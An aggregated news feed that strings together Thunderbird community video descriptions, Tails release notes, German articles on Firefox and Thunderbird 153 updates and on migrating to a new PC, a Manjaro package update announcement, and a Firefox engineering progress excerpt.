As 2025 winds down, its time to start thinking of what we want to achieve for our Android AND iOS apps next year. Alessandro walks us through the 2026 mobile roadmap, covering our urgent priorities, feature wish list, and a glimpse at our upcoming design plans for the entire Thunderbird project.

Chapters

00:00 Intro
01:47 Thunderbird Pro in Mobile
05:49 How we build a roadmap
07:40 Android initiatives
12:51 Material 3 or Material You
21:05 Calendar Exploration Questions
31:26 Roadmap items for our community
33:34 iOS initiatives

Resources:
Current Android Roadmap: https://github.com/orgs/thunderbird/projects/19
TB Pro Announcement: https://blog.thunderbird.net/2025/04/thundermail-and-thunderbird-pro-services/
Mobile Development Matrix: https://matrix.to/#/#tb-mobile-dev:mozilla.org
Thunderbird for Android GitHub Issues: https://github.com/thunderbird/thunderbird-android/issues

Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Support for email that just landed in Thunderbird Monthly Release 145. Learn how the team landed this feature and discover future plans for Calendar and Contact support, as well as Graph API

Chapters:
00:00 Intro
03:50 What is Microsoft Exchange
05:07 Why it took so long to add Exchange
14:33 Exchange in Thunderbird 145
18:20 Config options and authorization
27:10 Attachments and storage
32:30 Sync and folder operations
36:10 Filters and notification
39:10 Search
40:20 Feedback and bug reporting
43:00 Mobile and Graph API
49:09 JMAP and future protocols
55:50 Calendar and address book
59:57 Roadmap and EWS deprecation
62:23 Closing

Resources:
Exchange Mozilla Support Article: https://support.mozilla.org/en-US/kb/thunderbird-and-exchange
Exchange Mozilla Wiki Post (with call for testing): https://wiki.mozilla.org/Thunderbird%3AExchange
Reach out on Matrix: https://matrix.to/#/#thunderbird:mozilla.org
Bugzilla (use Exchange component for reporting): https://bugzilla.mozilla.org/enter_bug.cgi?product=MailNews%20Core

In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird's many platforms, W3 token standards, and how to document them. This work will make it easier for new design team members and contributors to jump into their work, while providing a more coherent experience from desktop to mobile and beyond.

Our Accessibility Standards and Committee Meetings are now recorded and online!

In the February Accessibility Standards & Compliance meeting, the committee advances a draft Thunderbird accessibility statement for review at the next meeting and starts crafting Thunderbird’s accessibility guidelines. The group identifies work needed to extend guidance into the Bolt design system with a lightweight a11y definition of done for design, and development. Finally, the committee discusses adding automated accessibility checks across platforms (including a minimum “accessibility gate”), reviews proposed success metrics, and closes with an open forum for community questions.

In the February meeting, the Bolt Design System Committee aligns on initial setup and ownership for the Bolt Design System repo, began defining cross-platform icon naming conventions, plus works towards component exposure in the documentation site.

Have any questions or want to join the conversation? Come find us in our Matrix room (https://matrix.to/#/#bolt-design-system:mozilla.org). New to Matrix? Find a Quick Start guide here: https://matrixdocs.github.io/docs/getting-started/quick-start

We've got some new faces on our growing support team! in this Community Office Hours, Heather and Monica talk to the team about the work they're doing to not only get ready for Thundermail, but improve the support experience for donors, the wider Thunderbird community, and our incredible support contributors.

Resources for Suggesting Features:
Thunderbird on Desktop and Mobile - https://connect.mozilla.org
Thundermail and Thunderbird Pro - https://ideas.tb.pro

Resources for Becoming a Community Support Contributor:
Join the Support Crew Matrix Channel - https://matrix.to/#/#tb-support-crew:mozilla.org
Learn How to Write Support Articles - https://blog.thunderbird.net/2024/07/video-learn-about-thunderbird-support-articles-and-how-to-contribute/
Learn How to Help Support Forum Users - https://blog.thunderbird.net/2024/08/video-how-to-answer-thunderbird-questions-on-mozilla-support/
Provide Feedback on Desktop Support Articles - https://github.com/thunderbird/knowledgebase-issues/issues
Provide Feedback on Android Support Articles - https://github.com/thunderbird/android-knowledgebase-issues/issues
Already a SUMO Contributor? Join the Contributor Discussion Forum - https://support.mozilla.org/forums/contributors/

Resources for Getting Help with Thunderbird:
Thunderbird for Android Support Channel (Matrix) - https://matrix.to/#/#tb-android:mozilla.org
Thunderbird Desktop Support Channel (Matrix) - https://matrix.to/#/#thunderbird:mozilla.org

Thunderbird's localizers make it possible for users around the world our desktop and mobile clients in their own language. This month, Heather and Monica are chatting with Bogomil Shopov, one of our Bulgarian localizers who has been with Thunderbird from the start. Find out how he got started in open source, how he's mentoring the next generation of contributors, and his advice on getting involved with Thunderbird (and what music he uses to focus!)

Quelle

The post Mozilla releases Thunderbird 153 with native Microsoft Exchange support appeared first on CyberInsider.

The post Thunderbird 153 “Meadow” is out now! appeared first on The Thunderbird Blog.

Changes and updates

• Update Tor Browser to 15.0.9, which fixes several vulnerabilities in Firefox 140.9.0.

  We are not aware of these vulnerabilities being exploited in practice.

• Update the Tor client to 0.4.9.6.

• Update Thunderbird to 140.9.0.

• Update some firmware packages. This improves support for newer hardware: graphics, Wi-Fi, and so on.

For more details, read our changelog.

Get Tails 7.6.1

To upgrade your Tails USB stick and keep your Persistent Storage

• Automatic upgrades are available from Tails 7.0 or later to 7.6.1.

• If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.6.1 on a new USB stick

Follow our installation instructions:

• Install from Windows

• Install from macOS

• Install from Linux

• Install from Debian or Ubuntu using the command line and GnuPG

To download only

If you don't need installation or upgrade instructions, you can download Tails 7.6.1 directly:

• For USB sticks (USB image)

• For DVDs and virtual machines (ISO image)

Detection of outdated Secure Boot certificates

Since 2023, Microsoft has started replacing the Secure Boot certificates originally issued in 2011. These older certificates begin expiring in June 2026.

Tails now notifies you if the computer that you are using has outdated Secure Boot certificates and needs an update.

Changes and updates

• Update Tor Browser to 15.0.10.

• Update Thunderbird to 140.9.1.

Fixed problems

• Make the /root folder only readable by the root user. (#21514)

For more details, read our changelog.

Get Tails 7.7

To upgrade your Tails USB stick and keep your Persistent Storage

• Automatic upgrades are available from Tails 7.0 or later to 7.7.

• If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.7 on a new USB stick

Follow our installation instructions.

To download only

If you don't need installation or upgrade instructions, you can download Tails 7.7 directly:

• For USB sticks (USB image)

• For DVDs and virtual machines (ISO image)

Changes and updates

• Update Tor Browser to 15.0.11, which fixes several vulnerabilities in Firefox 140.10.1.

  We are not aware of these vulnerabilities being exploited in practice until now.

• Update Thunderbird to 140.10.0.

• Stop making it possible to start our ISO images from a USB stick.

  Since 2019, we recommend USB images to start Tails from a USB stick, which is by far the most common way of running Tails.

  We still distribute ISO images to start Tails from a DVD or in a virtual machine. Until now, these ISO images worked on USB sticks as well, but provided a degraded experience without automatic upgrades or Persistent Storage.

  Our ISO images no longer work on USB sticks to save a few megabytes and prevent confusion for people who use USB sticks.

For more details, read our changelog.

Get Tails 7.7.1

To upgrade your Tails USB stick and keep your Persistent Storage

• Automatic upgrades are available from Tails 7.0 or later to 7.7.1.

• If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.7.1 on a new USB stick

Follow our installation instructions.

To download only

If you don't need installation or upgrade instructions, you can download Tails 7.7.1 directly:

• For USB sticks (USB image)

• For DVDs and virtual machines (ISO image)

Changes and updates

• Update the Linux kernel to 6.12.86, which fixes Dirty Frag, a vulnerability that could allow an application in Tails to gain administration privileges.

  For example, if an attacker was able to exploit other unknown security vulnerabilities in an application included in Tails, they might then use Dirty Frag to take full control of your Tails and deanonymize you.

  We are not aware of this vulnerability being used in practice until now.

• Update Tor Browser to 15.0.12.

• Update the Tor client to 0.4.9.8.

• Update Thunderbird to 140.10.1.

Fixed problems

For more details, read our changelog.

Get Tails 7.7.3

To upgrade your Tails USB stick and keep your Persistent Storage

• Automatic upgrades are available from Tails 7.0 or later to 7.7.3.

• If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.7.3 on a new USB stick

Follow our installation instructions.

To download only

If you don't need installation or upgrade instructions, you can download Tails 7.7.3 directly:

• For USB sticks (USB image)

• For DVDs and virtual machines (ISO image)

• Update Tor Browser to 15.0.14.

• Remove Thunderbird.

  You can still install Thunderbird as additional software.

  If you have both the Thunderbird Email Client and Additional Software features of the Persistent Storage turned on, Tails automatically adds Thunderbird to your list of additional software.

  A new version of Thunderbird is released in Debian shortly after each Tails release, because both Tails and Thunderbird follow the release calendar of Firefox. As a consequence, until Tails 7.5 (February 2026), the version of Thunderbird in Tails was almost always outdated, with known security vulnerabilities.

  By installing Thunderbird as additional software, the latest version of Thunderbird is installed automatically from your Persistent Storage each time you start Tails.

Fixed problems

• Fix multiple security vulnerabilities in the Linux kernel and haveged, that could allow an application in Tails to gain administration privileges.

  For example, if an attacker was able to exploit other unknown security vulnerabilities in an application included in Tails, they might then use one of these vulnerabilities to take full control of your Tails and deanonymize you.

For more details, read our changelog.

Get Tails 7.8

To upgrade your Tails USB stick and keep your Persistent Storage

• Automatic upgrades are available from Tails 7.0 or later to 7.8.

• If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a manual upgrade.

To install Tails 7.8 on a new USB stick

Follow our installation instructions:

• Install from Windows

• Install from macOS

• Install from Linux

• Install from Debian or Ubuntu using the command line and GnuPG

To download only

If you don't need installation or upgrade instructions, you can download Tails 7.8 directly:

• For USB sticks (USB image)

• For DVDs and virtual machines (ISO image)

Mit dem Thunderbird-Update auf Version 153 setzt Mozilla vor allem bei der Verbesserung der Sicherheit an und überarbeitet unter anderem den OAuth-Anmeldeprozess, integriert verschiedene Thundermail-Dienste direkt in den E-Mail-Client und beseitigt zahlreiche Fehler in Bereichen wie E-Mail, Kalender und OpenPGP.

Die neue Firefox-Version 153 für Windows, macOS, Linux und Android bringt einige Verbesserungen bei der Benutzung wie etwa HDR-Videowiedergabe, abgeschottete Tab-Umgebungen, und QR-Code-Erzeugung zur Link-Weitergabe. Die Entwickler haben mehr als 60 Sicherheitslücken gestopft. Updates gibt es auch für die ESR-Versionen.

Im Sicherheitsbericht für Firefox 153 nennt Mozilla mehr als 63 beseitigte Sicherheitslücken, von denen 60 durch externe Sicherheitsforscher entdeckt und gemeldet wurden, drei davon durch OpenAI Codex Security. Mozilla stuft 17 dieser Schwachstellen als hohes Risiko ein. Bei vier dieser Lücken drohen Ausbrüche aus der Browser-Sandbox.

▶Die neuesten Sicherheits-Updates

Weitere 35 Schwachstellen sind als mittleres Risiko ausgewiesen, der Rest als geringes Risiko. Die drei letzten Einträge im Sicherheitsbericht fassen eine nicht angegebene Zahl intern gefundener, als hohes Risiko eingestufter Sicherheitslücken zusammen, die aus Programmierfehlern bei der Speicherverwaltung resultieren. Die Lücken sind danach gruppiert, welche Programme und Programmversionen betroffen sind.

Was ist neu in Firefox 153?

Für Windows-Nutzer bietet Firefox 153 die Wiedergabe von HDR-Videos (High Dynamic Range). Voraussetzung ist, dass der HDR-Modus in den Windows Bildschirmeinstellungen aktiviert ist. Notebook-Displays, die lediglich „HDR Video-Streaming“ bieten, werden derzeit nicht unterstützt, ebenso wie Smartphone-Videos im Hochkant-Format.

Mit dem integrierten PDF-Betrachter und -Editor können Sie nun mehrere PDF-Dateien zusammenführen, indem Sie sie in die PDF-Sidebar ziehen. Auch können Sie jetzt Bilder als neue Seiten in PDF-Dokumente einfügen.

Wenn Sie einen Link weitergeben wollen, etwa auch an Ihr eigenes Smartphone, ohne einen Web-Dienst (wie Firefox Sync) zu benutzen, können Sie mit Firefox 153 einen QR-Code erstellen. Firefox hebt nun das Symbol für die Standort-Freigabe in roter Farbe hervor, wenn eine Website Zugriff auf Ihren Standort hat.

fz

Das mit Firefox 149 eingeführte und in Firefox integrierte Gratis-VPN bietet weiterhin eine vorübergehend (bis Ende August) auf 28 Länder erweiterte Auswahl virtueller Standorte mit uneingeschränktem Datenvolumen. Das kostenlose VPN ist derzeit für Firefox-Nutzer in den USA, Kanada, Großbritannien, Frankreich und Deutschland verfügbar.

Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Weitere Browser-Updates

Neben Firefox 153.0 sind auch die ESR-Ausgaben 140.13.0 und 115.38.0 erhältlich. Letztere gibt es allerdings nur für Windows 7 & 8.1 sowie macOS 10.12 bis 10.14. In den ESR-Versionen haben Mozillas Entwickler diejenigen der oben genannten Schwachstellen behoben, die schon im teils gut abgehangenen Code dieser Browser-Generationen stecken. Das sind in Firefox 140.13 mindestens 32 und in Firefox 115.38 immerhin noch wenigstens 14 geschlossene Sicherheitslücken. Darunter sind zwei als kritisch eingestufte Schwachstellen, die bereits in Firefox 152.0.6 beseitigt wurden. Firefox 153 ist außerdem die Basis für die nächste ESR-Generation. Das bedeutet, Firefox ESR 140 wird im Oktober durch Firefox ESR 153 abgelöst.

Gnadenfrist für Windows 7 & 8 erneut verlängert

Firefox ESR 115 wird vorerst bis März 2027 (v115.52) weiter mit Sicherheits-Updates gepflegt. Wenn Sie Firefox 115 unter Windows 7, 8.1 oder macOS 10.12 bis 10.14 einsetzen, erhalten Sie zumindest für den Browser weiterhin aktuelle Sicherheits-Updates. Rechtzeitig vor Ablauf dieser Gnadenfrist wird Mozilla die Situation neu bewerten und dann entscheiden, ob es eine weitere Verlängerung gibt.

Updates für Tor Browser und Thunderbird

Der neueste Tor Browser 15.0.19 basiert auf Firefox ESR 140.13. Das ansonsten von Mozilla unabhängige Tor-Projekt und die Nutzer des Tor Browsers profitieren so von den in Firefox gestopften Sicherheitslücken. Tor Browser 15.0.9 bringt die Erweiterung NoScript 13.6.31 mit. Das Tor Projekt hostet NoScript für seinen Browser inzwischen selbst. Erkennbar ist das daran, dass diese NoScript-Version den Suffix „.1984“ (aktuell also 13.6.31.1984) trägt – George Orwell lässt grüßen. Ansonsten ist sie identisch mit der Version auf AMO (addons.mozilla.org). Einen Tor Browser für ältere Systeme gibt es nicht mehr. Auch Mozillas Mailer Thunderbird 153.0 und 140.13.0esr sind verfügbar. Darin haben die Entwickler ebenfalls Dutzende Sicherheitslücken beseitigt, die das Mail-Programm vorwiegend von Firefox geerbt hat.

Bis zur Veröffentlichung der nächsten Hauptversion Firefox 154 am 18. August plant Mozilla wöchentliche Updates zur Fehlerbehebung und um weitere Schwachstellen zu beseitigen. Nach Firefox 154 wechselt Mozilla, wie auch Google Chrome und Microsoft Edge, auf einen zweiwöchentlichen Turnus für neue Hauptversionen. Firefox 155 soll demnach bereits am 1. September erscheinen.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Ein neuer PC ist schnell gekauft – der eigentliche Aufwand beginnt danach. Programme, Dateien, Benutzerkonten und Einstellungen sollen möglichst vollständig vom alten Rechner mitkommen. Wer alles von Hand einrichtet, verliert schnell einen ganzen Tag.

Umzugssoftware nimmt Ihnen diese Arbeit ab und überträgt viele Inhalte in einem Durchgang. Das lohnt sich besonders, wenn der alte Windows-10-PC ersetzt wird: Zwar gibt es über erweiterte Sicherheitsupdates noch Aufschub bis 2027, langfristig führt beim Neukauf aber meist Windows 11 den Weg vor. Wir zeigen, welche Wege es für den PC-Umzug gibt und worauf Sie achten sollten.

Welche Wege es für den Datenumzug gibt

Für den Wechsel auf einen neuen PC haben Sie drei Möglichkeiten. Spezialisierte Umzugssoftware überträgt Programme, Benutzerkonten und Dateien in einem Rutsch – der bequemste Weg, wenn installierte Anwendungen mitkommen sollen.

PROMOTION

Ihr Bildschirm ist zu klein? Dieser 17-Zöller bietet Platz für alles

Das HP OmniBook 7 überzeugt mit einem großzügigen 17,3 Zoll FHD-Touchdisplay für Übersicht bei Office-Arbeit, Multimedia und leichtem Gaming. Der Intel® Core™ Ultra 7 Prozessor mit 32 GB RAM meistert anspruchsvolle Aufgaben, die NVIDIA® RTX™ 4050 sorgt für zusätzliche Grafikleistung bei Kreativ-Workflows. Die beleuchtete Tastatur mit Nummernblock erleichtert die Dateneingabe, Fast Charge bringt den Akku schnell wieder auf 50 %.

Erfahren Sie mehr über das HP OmniBook 7

Die Bordmittel von Windows decken primär persönliche Dateien und ausgewählte Einstellungen ab: Über ein Microsoft-Konto und OneDrive landen synchronisierte Ordner, einige Windows-Einstellungen sowie Store-Apps auf dem neuen Gerät. Klassische Desktop-Programme müssen Sie damit jedoch neu installieren.

Bleibt der manuelle Umzug per externer Festplatte oder NAS. Diese Methode ist günstig und transparent, aber zeitraubend. Sie kopieren Dokumente, Bilder, Downloads, Browserprofile und Projektordner selbst und installieren anschließend jede Anwendung neu. Dieser Ratgeber stellt deshalb die komfortablere Variante mit Umzugssoftware in den Mittelpunkt und vergleicht zwei verbreitete Programme.

Windows-Umzug mit PCmover Professional

PCmover Professional von Laplink zählt zu den bekanntesten Umzugsprogrammen für Windows. Es kopiert Anwendungen, Daten, Benutzerkonten und Einstellungen vom alten Windows-PC auf den neuen Rechner mit Windows 11. Die Software kostet ab 34,95 Euro, eine reine Testversion reicht in der Regel nicht für einen vollständigen Programmumzug.

Christoph Hoffmann

Installieren Sie PCmover zunächst auf dem alten PC, also der Quelle. Nach dem Start ist die Übertragung zwischen zwei Rechnern voreingestellt. Unter „Erweiterte Optionen“ stehen zusätzlich der Umzug per Laufwerk und per Imagedatei bereit. Ein Klick auf „Übertragung zwischen PCs“ startet den Vorgang. Vor dem Fortfahren tragen Sie Name, E-Mail-Adresse und die nach dem Kauf erhaltene Seriennummer ein.

Installieren und starten Sie das Programm danach auf dem Ziel-PC mit Windows 11. Beide Rechner müssen sich im selben Netzwerk befinden. Ein spezielles Kabel ist nicht nötig, wenn beide PCs per LAN oder stabilem WLAN verbunden sind. Für große Datenmengen empfiehlt sich Gigabit-LAN, weil der Transfer darüber deutlich zuverlässiger und schneller läuft als über ein schwaches Funknetz.

PCmover sucht den Ziel-PC und stellt die Verbindung her. Anschließend zeigt die Software beide Rechner nebeneinander an. Prüfen Sie an dieser Stelle unbedingt die Übertragungsrichtung: Quelle muss der alte PC sein, Ziel der neue Windows-11-Rechner. Bei Bedarf lässt sich die Richtung umkehren.

Ein Klick auf „PC analysieren“ führt zur Auswahl. Hier stehen mehrere Optionen bereit, von der empfohlenen Standardübertragung bis zur manuellen Auswahl. Mit der Standardoption wird der neue PC weitgehend zum Abbild des alten – etwa mit Windows 11 statt Windows 10.

Über „Weiter“ erhalten Sie eine Zusammenfassung in mehreren Kategorien. Kontrollieren Sie vordergründig den Punkt „Anwendungen“: Standardmäßig sind alle übertragbaren Programme markiert; einzelne können abgewählt werden.

Wie lange der Umzug dauert, hängt von der Datenmenge, dem Netzwerktempo und der Anzahl der Programme ab. Bei einem gut gefüllten PC kommen schnell mehrere Stunden zusammen. Nach Abschluss meldet das Programm den Erfolg. Starten Sie den neuen PC neu, damit alle Änderungen greifen.

Die Alternative: EaseUS Todo PCTrans

Wer nicht zwingend zu PCmover greifen möchte, findet in EaseUS Todo PCTrans eine verbreitete Alternative. Das Programm überträgt ebenfalls Programme, Dateien, Benutzerkonten und Einstellungen zwischen zwei Rechnern. Der Umzug von Windows 10 auf Windows 11 zählt zu den typischen Einsatzszenarien.

Der wichtigste Unterschied liegt beim Einstieg. EaseUS Todo PCTrans gibt es als Free-Version, die nur fünf Programme und eine zwei Gigabyte Daten überträgt. Das genügt zum Ausprobieren oder für sehr kleine Umzüge. Wer viele Programme, große Benutzerordner oder mehrere Konten übertragen will, benötigt die kostenpflichtige Pro-Version ab 40 Euro.

EaseUS

Die Bedienung folgt demselben Grundmuster wie bei PCmover. Sie installieren das Programm auf beiden Rechnern und legen über „PC zu PC“ die Richtung fest: alter PC als Quelle, neuer PC als Ziel. Beide Geräte müssen sich im selben Netzwerk befinden. Danach wählen Sie aus, welche Programme, Dateien und Konten mitkommen, und starten die Übertragung.

Neben dem Netzwerkweg beherrscht EaseUS Todo PCTrans auch den Umzug per Imagedatei auf einem externen Datenträger. Das ist praktisch, wenn beide PCs nicht gleichzeitig verfügbar sind oder der alte Rechner nur noch eingeschränkt läuft. Der Transfer erfolgt lokal, nicht über fremde Cloud-Server.

PCmover oder EaseUS – was passt zu wem?

Beide Programme verfolgen denselben Zweck, unterscheiden sich aber bei Preis, Bedienlogik und Zielgruppe. EaseUS Todo PCTrans ist attraktiv, wenn Sie zunächst kostenlos testen oder nur wenige Programme übertragen möchten.

Für einen kompletten Umzug mit vielen Anwendungen und großen Datenmengen führt dagegen auch hier meist kein Weg an einer kostenpflichtigen Version vorbei.

PCmover Professional richtet sich stärker an Anwender, die einen möglichst vollständigen und kontrollierten Wechsel wünschen. Das Programm ist besonders interessant, wenn der neue Rechner dem alten möglichst stark ähneln soll und viele installierte Anwendungen mitkommen müssen.

Für einfache Fälle reicht oft die Kombination aus OneDrive, externer Festplatte und Neuinstallation der wichtigsten Programme. Für komplexe Systeme mit vielen Anwendungen, mehreren Benutzerkonten und gewachsenen Ordnerstrukturen spart Umzugssoftware dagegen viel Zeit.

Tipp: Mailkonten auf den neuen PC umziehen

Eine Windows-Neuinstallation oder ein neuer PC sind ein guter Anlass, auch das Mailprogramm zu überdenken – etwa eM Client, Thunderbird oder Outlook. Am einfachsten gelingt der Umzug, wenn Ihre Mailkonten bereits per IMAP eingerichtet sind. Bei IMAP bleiben die Nachrichten auf dem Server Ihres Mailproviders gespeichert und werden nur mit dem jeweiligen Gerät synchronisiert.

Der Vorteil: Sie greifen mit PC, Notebook, Smartphone oder Webmailer auf denselben Mailbestand zu. Für den Umzug richten Sie das Konto im Mailprogramm auf dem neuen Windows-PC einfach erneut ein. Dazu starten Sie den Einrichtungsassistenten, geben E-Mail-Adresse und Passwort ein und warten anschließend, bis das Programm alle Nachrichten synchronisiert hat. Je nach Postfachgröße und Internetverbindung kann das einige Zeit dauern.

Christoph Hoffmann

Aufwendiger wird es, wenn Sie Ihre Mails bisher per POP3 abrufen. In diesem Fall liegen viele Nachrichten oft nur lokal auf dem alten Rechner. Dann sollten Sie das Postfach vor dem Wechsel sichern. Dafür eignet sich etwa MailStore Home, das für die private Nutzung kostenlos ist. Das Programm archiviert lokale Mailbestände und kann sie anschließend wieder exportieren.

Erstellen Sie zunächst auf dem alten PC mit MailStore Home ein Backup Ihres POP3-Postfachs und sichern Sie dieses auf einem externen Datenträger. Auf dem neuen PC installieren Sie Ihr Mailprogramm sowie MailStore Home. Dort laden Sie die Sicherung und exportieren die Nachrichten über „E-Mails exportieren“ in ein IMAP-Postfach.

Damit wandern die bisher nur lokal gespeicherten Mails auf den Server Ihres Providers. Anschließend stehen sie nicht nur auf dem neuen Windows-PC, sondern auch auf Smartphone, Tablet und im Webmailer synchron zur Verfügung.

Der Wechsel von POP3 zu IMAP lohnt sich daher besonders, wenn Sie Ihre E-Mails künftig auf mehreren Geräten nutzen möchten.

Vor dem Umzug: Das sollten Sie beachten

Unabhängig vom gewählten Programm sollten Sie vorab ein vollständiges Backup Ihrer wichtigen Daten auf einem externen Datenträger anlegen. Geht beim Transfer etwas schief, haben Sie eine unabhängige Kopie zur Hand.

Notieren Sie außerdem Lizenzschlüssel kostenpflichtiger Programme. Kostenlose Tools wie ProduKey können gespeicherte Produktschlüssel auslesen, ersetzen aber keine vollständige Lizenzverwaltung – prüfen Sie daher zusätzlich die Kundenkonten der jeweiligen Softwareanbieter.

Manche Anwendungen verlangen nach dem Umzug eine erneute Aktivierung. Bei Programmen mit Gerätebindung kann es nötig sein, die Lizenz auf dem alten PC vorher zu deaktivieren oder im Kundenkonto freizugeben.

Bei Microsoft Office hängt der Aufwand von der Lizenz ab. Ein Microsoft-365-Abo oder eine an das Microsoft-Konto gebundene Office-Lizenz richten Sie auf dem neuen PC meist einfach erneut über das Konto ein. Ältere Einzelplatzlizenzen ohne Kontobindung können komplizierter sein.

Christoph Hoffmann

Prüfen Sie überdies, ob alle wichtigen Programme unter Windows 11 laufen. Sehr alte Tools, Spezialsoftware, Treiberpakete, Scanner-Software oder ältere VPN-Clients können Probleme verursachen. Hier ist eine Neuinstallation oft sauberer als eine blinde Übernahme.

Wichtiger Vorab-Tipp: Deinstallieren Sie auf dem alten PC vor dem Umzug alte Druckertreiber oder tief ins System eingreifende Software (wie Antivirenprogramme von Drittanbietern). Solche Systemkomponenten werden von Umzugsprogrammen manchmal fälschlicherweise mitkopiert und können das neue Windows 11-System instabil machen.

Planen Sie für einen gut gefüllten PC genügend Zeit ein. Je nach Datenmenge dauert die Übertragung von einer bis zu mehreren Stunden.

Nach dem Umzug sollten Sie Windows Update ausführen, Programme starten, Drucker prüfen, Cloud-Synchronisierung kontrollieren und wichtige Dateien stichprobenartig öffnen.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The post Community Office Hours: A Thundermail Update appeared first on The Thunderbird Blog.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Das E-Mail-Programm Thunderbird zeigt in den neueren Versionen keine Titelleiste mehr an. Und wenn es sie anzeigt, dann oft nicht in der gewünschten Farbe. Beides können Sie ändern. Um die Titelleiste von Thunderbird zunächst wieder einzublenden, klicken Sie bitte rechts oben auf die drei waagrechten Striche (das „Hamburger-Menü“) und gehen im folgenden Menü auf „Einstellungen“.

Wählen Sie in der linken Spalte „Erscheinungsbild“ und löschen Sie jetzt im Hauptfenster in dem Abschnitt „Fensterlayout“ das Häkchen bei „Titelleiste des Systemfensters ausblenden“. Die Leiste ist danach sofort sichtbar. Um der Leiste eine bestimmte Farbe zuzuweisen, öffnen Sie über das Startmenü die „Einstellungen“ von Windows.

Foundry

Gehen Sie auf „Personalisierung –› Farben“, scrollen Sie nach unten und stellen Sie sicher, dass neben „Akzentfarbe“ die Auswahl „manuell“ eingestellt ist. Wählen Sie darunter die gewünschte Farbe aus. Sie erscheint in allen nicht transparenten Titelleisten und an den Fensterrändern.

Lesetipp: Die fünf besten kostenlosen E-Mail-Anbieter im Vergleich

Hello Manjaro user community, here we have another set of package updates. This also marks the stable release of ‘Bian-May’ - Manjaro 26.1. We will work now on the Release Candidate ISOs to test possible issues before releasing new install medias.

Current Promotions

• Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Manjaro 26.1 Bian-May - Preview released
• Manjaro 26.0 Anh-Linh released
• Manjaro Summit public Alpha now available
• As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
• As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Notable Package Updates

• Kernels got updated
  • linux70 got removed from our repos
  • linux-firmware 20260622
  • slight toolchain update
  • NVIDIA 610.43.03
  • we dropped NVIDIA driver series 570xx and 575xx
• Firefox 152.0.4
• Thunderbird 152.0
• Virtualbox 7.2.12
• Godot 4.7
• Pipewire 1.6.7
• Systemd 261.1
• COSMIC Epoch 1.2.0
• Plasma 6.6.6
• KDE Gear 26.04.3
• QEmu 11.0.2
• Firefox 152.0.5
• Xorg-Server 21.1.24
• XWayland 24.1.13
• OpenSearch 3.7.0

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux61 6.1.177
• linux66 6.6.144
• linux612 6.12.95
• linux618 6.18.38
• linux71 7.1.3
• linux72 7.2.0-rc2
• linux61-rt 6.1.167_rt62
• linux66-rt 6.6.135_rt74
• linux612-rt 6.12.89_rt18

Package Changes (7/9/26 07:43 CEST)

• stable core x86_64: 121 new and 122 removed package(s)
• stable extra x86_64: 4021 new and 4169 removed package(s)
• stable multilib x86_64: 65 new and 70 removed package(s)

A list of all package changes can be found here.

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

3 posts - 2 participants

Read full topic

July’s Accessibility Standards & Compliance meeting covered the final accessibility statement update, a discussion on right-sizing design accessibility annotations for implementation, and where accessibility guidance should live across design files, design system docs, tickets, and QA. The meeting also included an update on automated accessibility testing progress for Thunderbird Desktop.

Highlights

• Improved mach startup overhead by 30-50%, as well as a 75% improvement for mach test on Windows and 10s faster configure for subsequent runs

• Moved to weekly scheduled dot releases and faster rollouts, allowing us to deliver fixes and uplifts to users faster and more reliably

• Created a huge number of dashboards to help developers dig into Mochitest and XPCShell tests

• Stood up MacOS worker pools that can run multiple tasks at once using VMs, greatly improving our Mac capacity issues

• Can now navigate to about:pdf in Nightly to open and edit arbitrary PDF files, including the ability to set Firefox as your default PDF editor on MacOS

Detailed Project Updates

AI for Development

• Suhaib Mujahid deployed the initial version of Hackbot, a platform for building and running AI agents to automate parts of the Firefox development workflow.

• Evgeny Pavlov ported the “Build Repair Agent” to Hackbot and deployed it for testing. It now monitors Firefox build failures and triggers the agent. When an analysis and a proposed patch are ready developers can be notified by email.

Bugzilla

• David Lawrence added a new GitHubPullRequests extension that renders a live status panel in the bug modal for any attachment whose content type is text/x-github-pull-request. A new REST endpoint fetches PR metadata (state, author, labels, latest review per reviewer) from the GitHub REST API on demand, and a client-side script populates a table with a “show closed/merged” toggle.[image]

• Xavier L’Hour improved the user experience for developers, adding shortcuts to buglist.cgi for all, open, or closed bugs (1764713)

